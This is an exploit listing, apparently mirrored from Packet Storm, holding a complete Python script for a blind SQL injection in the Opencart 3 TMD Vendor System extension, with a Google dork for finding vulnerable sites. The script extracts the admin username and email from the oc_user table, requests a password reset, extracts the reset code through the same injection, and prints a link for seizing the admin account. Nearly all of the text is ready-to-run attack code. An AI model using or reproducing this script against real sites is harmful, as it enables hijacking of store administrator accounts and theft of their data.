Share
## https://sploitus.com/exploit?id=PACKETSTORM:164766
# Exploit Title: Opencart 3 Extension TMD Vendor System - Blind SQL Injection  
# Author: Muhammad Zaki Sulistya (zaki.sulistya@gmail.com)  
# Date: 03-11-2021  
# Product: TMD Vendor System  
# Vendor Homepage: https://www.opencartextensions.in/  
# Software Link: https://www.opencartextensions.in/opencart-multi-vendor-multi-seller-marketplace  
# Version: TMD Vendor System 3.x  
# Tested on: MacOS  
# Google Dork: inurl:index.php?route=vendor/allseller  
# Info: Patched on the new version  
  
#!/usr/bin/python  
import requests  
from bs4 import BeautifulSoup  
from random import randint  
import time  
  
class TmdSqli:  
def __init__(self, url):  
self.char_list = ['.',':', '@', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']  
self.url = url  
self.user_agents = []  
self.set_user_agent()  
self.is_vulnerable()  
  
def set_user_agent(self):  
if len(self.user_agents) == 0:  
r = requests.get(  
'https://gist.githubusercontent.com/pzb/b4b6f57144aea7827ae4/raw/cf847b76a142955b1410c8bcef3aabe221a63db1/user-agents.txt').text  
self.user_agents = r.split("\n")  
  
def get_content(self, url):  
try:  
n = randint(0, 999)  
headers = {}  
headers['user-agent'] = self.user_agents[n]  
req = requests.get(url, headers=headers)  
soup = BeautifulSoup(req.content, 'html.parser')  
return soup.find(id='content')  
except requests.exceptions.ConnectionError as e:  
print("CONNECTION ERROR:", e)  
time.sleep(60)  
self.get_content(url)  
  
def is_vulnerable(self):  
url_injection_true = self.url + "' AND 1=1--+-"  
url_injection_false = self.url + "' AND 1=0--+-"  
  
default_response = self.get_content(self.url)  
injection_true = self.get_content(url_injection_true)  
injection_false = self.get_content(url_injection_false)  
  
if (default_response == injection_true) and (default_response != injection_false):  
print("The target is vulnerable")  
self.injection_true = injection_true  
row_length = self.user_data_length()  
self.dump_data(row_length)  
else:  
print("Not vulnerable")  
  
def user_data_length(self):  
n = 1  
while True:  
request_url = self.url + "' AND (SELECT LENGTH(CONCAT(username,0x3a,email)) FROM oc_user LIMIT 0,1)=" + str(n) + "--+-"  
req = self.get_content(request_url)  
if req != self.injection_true:  
n += 1  
else:  
print("Row length : " + str(n))  
return n  
break  
  
def reset_code_length(self):  
n = 1  
while True:  
request_url = self.url + "' AND (SELECT LENGTH(CONCAT(code)) FROM oc_user WHERE username = '" + self.username + "')=" + str(  
n) + "--+-"  
req = self.get_content(request_url)  
if req != self.injection_true:  
n += 1  
else:  
print("Row length : " + str(n))  
return n  
break  
  
def dump_data(self, length):  
data = ""  
for i in range(1, length + 1):  
for j in self.char_list:  
j = ord(j)  
request_url = self.url + "' AND (SELECT ASCII(SUBSTRING(CONCAT(username,0x3a,email), " + str(i) + ",1)) FROM oc_user LIMIT 0,1)=" + str(j) + "--+-"  
req = self.get_content(request_url)  
if req == self.injection_true:  
data += chr(j)  
print("Get : " + data)  
user_data = data.split(":")  
self.username = user_data[0]  
self.email = user_data[1]  
self.reset_password()  
  
def dump_reset_code(self, length):  
data = ""  
for i in range(1, length + 1):  
for j in self.char_list:  
j = ord(j)  
request_url = self.url + "' AND (SELECT ASCII(SUBSTRING(CONCAT(code), " + str(  
i) + ",1)) FROM oc_user WHERE username = '" + self.username + "')=" + str(j) + "--+-"  
req = self.get_content(request_url)  
if req == self.injection_true:  
data += chr(j)  
print("Get : " + data)  
return data  
  
def reset_password(self):  
self.admin_page = input("Admin page URL : ")  
request_url = self.admin_page + '/index.php?route=common/forgotten'  
post_data = {'email':self.email}  
req = requests.post(request_url, data=post_data)  
if req.status_code == 200:  
row_length = self.reset_code_length()  
reset_code = self.dump_reset_code(row_length)  
reset_password_url = self.admin_page + '/index.php?route=common/reset&code=' + reset_code  
print("Gotcha!")  
print("username : " + self.username)  
print("You can reset the password : " + reset_password_url)  
  
print("TARGET URL ex: https://[redacted]]/index.php?route=product/product&product_id=[product_id]")  
target = input("Target URL : ")  
TmdSqli(target)